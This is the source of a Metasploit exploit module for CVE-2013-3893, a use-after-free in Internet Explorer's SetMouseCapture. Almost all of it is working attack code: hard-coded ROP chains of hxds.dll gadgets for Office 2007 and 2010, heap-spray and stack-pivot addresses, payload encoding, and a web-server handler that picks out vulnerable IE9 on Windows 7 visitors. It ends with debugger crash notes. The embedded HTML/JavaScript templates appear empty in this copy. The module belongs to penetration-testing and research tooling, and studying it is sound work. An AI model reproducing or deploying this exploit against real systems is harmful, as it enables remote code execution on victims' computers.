## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "Micorosft Internet Explorer SetMouseCapture Use-After-Free", 'Description' => %q{ This module exploits a use-after-free vulnerability that currents targets Internet Explorer 9 on Windows 7, but the flaw should exist in versions 6/7/8/9/10/11. It was initially found in the wild in Japan, but other regions such as English, Chinese, Korean, etc, were targeted as well. The vulnerability is due to how the mshtml!CDoc::SetMouseCapture function handles a reference during an event. An attacker first can setup two elements, where the second is the child of the first, and then setup a onlosecapture event handler for the parent element. The onlosecapture event seems to require two setCapture() calls to trigger, one for the parent element, one for the child. When the setCapture() call for the child element is called, it finally triggers the event, which allows the attacker to cause an arbitrary memory release using document.write(), which in particular frees up a 0x54-byte memory. The exact size of this memory may differ based on the version of IE. After the free, an invalid reference will still be kept and pass on to more functions, eventuall this arrives in function MSHTML!CTreeNode::GetInterface, and causes a crash (or arbitrary code execution) when this function attempts to use this reference to call what appears to be a PrivateQueryInterface due to the offset (0x00). To mimic the same exploit found in the wild, this module will try to use the same DLL from Microsoft Office 2007 or 2010 to leverage the attack. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Exploit in the wild first spotted in Japan 'sinn3r' # Metasploit (thx binjo for the heads up!) ], 'References' => [ [ 'CVE', '2013-3893' ], [ 'OSVDB', '97380' ], [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2887505' ], [ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/09/17/cve-2013-3893-fix-it-workaround-available.aspx' ] ], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 9 on Windows 7 SP1 with Microsoft Office 2007 or 2010', {} ] ], 'Payload' => { 'BadChars' => "\x00", 'PrependEncoder' => "\x81\xc4\x80\xc7\xfe\xff" # add esp, -80000 }, 'DefaultOptions' => { 'PrependMigrate' => true, 'InitialAutoRunScript' => 'migrate -f' }, 'Privileged' => false, 'DisclosureDate' => "Sep 17 2013", 'DefaultTarget' => 0)) end def is_win7_ie9?(agent) (agent =~ /MSIE 9/ and agent =~ /Windows NT 6\.1/) end def get_preq_html(cli, req) %Q| | end def junk return rand_text_alpha(4).unpack("V")[0].to_i end def get_payload(rop_dll) code = payload.encoded rop = '' p = '' case rop_dll when :office2007 rop = [ junk, # Alignment 0x51c46f91, # POP EBP # RETN [hxds.dll] 0x51c46f91, # skip 4 bytes [hxds.dll] 0x51c35a4d, # POP EBX # RETN [hxds.dll] 0xffffffff, 0x51bd90fd, # INC EBX # RETN [hxds.dll] 0x51bd90fd, # INC EBX # RETN [hxds.dll] 0x51bfa98e, # POP EDX # RETN [hxds.dll] 0xffffefff, 0x51c08b65, # XCHG EAX, EDX # RETN [hxds.dll] 0x51c1df88, # NEG EAX # RETN [hxds.dll] 0x51c55c45, # DEC EAX, RETN [hxds.dll] 0x51c08b65, # XCHG EAX, EDX # RETN [hxds.dll] 0x51c4c17c, # POP ECX # RETN [hxds.dll] 0xffffffc0, 0x51bfbaae, # XCHG EAX, ECX # RETN [hxds.dll] 0x51c1df88, # NEG EAX # RETN [hxds.dll] 0x51bfbaae, # XCHG EAX, ECX # RETN [hxds.dll] 0x51c05766, # POP EDI # RETN [hxds.dll] 0x51bfbaaf, # RETN (ROP NOP) [hxds.dll] 0x51c2e77d, # POP ESI # RETN [hxds.dll] 0x51bfc840, # JMP [EAX] [hxds.dll] 0x51c05266, # POP EAX # RETN [hxds.dll] 0x51bd115c, # ptr to &VirtualAlloc() [IAT hxds.dll] 0x51bdf91f, # PUSHAD # RETN [hxds.dll] 0x51c4a9f3, # ptr to 'jmp esp' [hxds.dll] ].pack("V*") when :office2010 rop = [ # 4 dword junks due to the add esp in stack pivot junk, junk, junk, junk, 0x51c41953, # POP EBP # RETN [hxds.dll] 0x51be3a03, # RETN (ROP NOP) [hxds.dll] 0x51c41953, # skip 4 bytes [hxds.dll] 0x51c4486d, # POP EBX # RETN [hxds.dll] 0xffffffff, 0x51c392d8, # EXCHG EAX, EBX # RETN [hxds.dll] 0x51bd1a77, # INC EAX # RETN [hxds.dll] 0x51bd1a77, # INC EAX # RETN [hxds.dll] 0x51c392d8, # EXCHG EAX, EBX # RETN [hxds.dll] 0x51bfa298, # POP EDX # RETN [hxds.dll] 0xffffefff, 0x51bea84d, # XCHG EAX, EDX # RETN [hxds.dll] 0x51bf5188, # NEG EAX # POP ESI # RETN [hxds.dll] junk, 0x51bd5382, # DEC EAX # RETN [hxds.dll] 0x51bea84d, # XCHG EAX, EDX # RETN [hxds.dll] 0x51c1f094, # POP ECX # RETN [hxds.dll] 0xffffffc0, 0x51be5986, # XCHG EAX, ECX # RETN [hxds.dll] 0x51bf5188, # NEG EAX # POP ESI # RETN [hxds.dll] junk, 0x51be5986, # XCHG EAX, ECX # RETN [hxds.dll] 0x51bf1ff0, # POP EDI # RETN [hxds.dll] 0x51bd5383, # RETN (ROP NOP) [hxds.dll] 0x51c07c8b, # POP ESI # RETN [hxds.dll] 0x51bfc7cb, # JMP [EAX] [hxds.dll] 0x51c44707, # POP EAX # RETN [hxds.dll] 0x51bd10bc, # ptr to &VirtualAlloc() [IAT hxds.dll] 0x51c3604e, # PUSHAD # RETN [hxds.dll] 0x51c541ef, # ptr to 'jmp esp' [hxds.dll] ].pack("V*") end p = rop + code p end def get_exploit_html(cli, req, rop_dll) gadgets = {} case rop_dll when :office2007 gadgets[:spray1] = 0x1af40020 # 0x31610020-0xc4, pointer to gadgets[:call_eax] gadgets[:target] = 0x3160ff5c # mov eax, [esi] # push esi # call [eax+4] gadgets[:call_eax] = 0x51bd1ce8 # xchg eax,esp # add byte [eax], al # pop esi # mov [edi+23c], ebp # mov [edi+238], ebp # mov [edi+234], ebp # pop ebp # pop ebx # ret gadgets[:pivot] = 0x51be4418 when :office2010 gadgets[:spray1] = 0x1a7f0020 # 0x30200020-0xc4, pointer to gadgets[:call_eax] gadgets[:target] = 0x301fff5c # mov eax, [esi] # push esi # call [eax+4] gadgets[:call_eax] = 0x51bd1a41 # xchg eax,esp # add eax,dword ptr [eax] # add esp,10 # mov eax,esi # pop esi # pop ebp # retn 4 gadgets[:pivot] = 0x51c00e64 end p1 = [ gadgets[:target], # Target address gadgets[:pivot] # stack pivot ].pack("V*") p1 << get_payload(rop_dll) p2 = [ gadgets[:call_eax] # MSHTML!CTreeNode::NodeAddRef+0x48 (call eax) ].pack("V*") js_s1 = Rex::Text::to_unescape([gadgets[:spray1]].pack("V*")) js_p1 = Rex::Text.to_unescape(p1) js_p2 = Rex::Text.to_unescape(p2) %Q| | end def on_request_uri(cli, request) agent = request.headers['User-Agent'] unless is_win7_ie9?(agent) print_error("Not a suitable target: #{agent}") send_not_found(cli) end html = '' if request.uri =~ /\?dll=(\w+)$/ rop_dll = '' if $1 == 'office2007' print_status("Using Office 2007 ROP chain") rop_dll = :office2007 elsif $1 == 'office2010' print_status("Using Office 2010 ROP chain") rop_dll = :office2010 else print_error("Target does not have Office installed") send_not_found(cli) return end html = get_exploit_html(cli, request, rop_dll) else print_status("Checking target requirements...") html = get_preq_html(cli, request) end send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) end def exploit @exploit_page = "default.html" super end end =begin hxds.dll (Microsoft® Help Data Services Module) 2007 DLL info: ProductVersion: 2.05.50727.198 FileVersion: 2.05.50727.198 (QFE.050727-1900) 2010 DLL info: ProductVersion: 2.05.50727.4039 FileVersion: 2.05.50727.4039 (QFE.050727-4000) mshtml.dll ProductVersion: 9.00.8112.16446 FileVersion: 9.00.8112.16446 (WIN7_IE9_GDR.120517-1400) FileDescription: Microsoft (R) HTML Viewer 0:005> r eax=41414141 ebx=6799799c ecx=679b6a14 edx=00000000 esi=00650d90 edi=021fcb34 eip=679b6b61 esp=021fcb0c ebp=021fcb20 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 MSHTML!CTreeNode::GetInterface+0xd8: 679b6b61 8b08 mov ecx,dword ptr [eax] ds:0023:41414141=???????? 66e13df7 8b0e mov ecx,dword ptr [esi] 66e13df9 8b11 mov edx,dword ptr [ecx] <-- mshtml + (63993df9 - 63580000) 66e13dfb 8b82c4000000 mov eax,dword ptr [edx+0C4h] 66e13e01 ffd0 call eax =end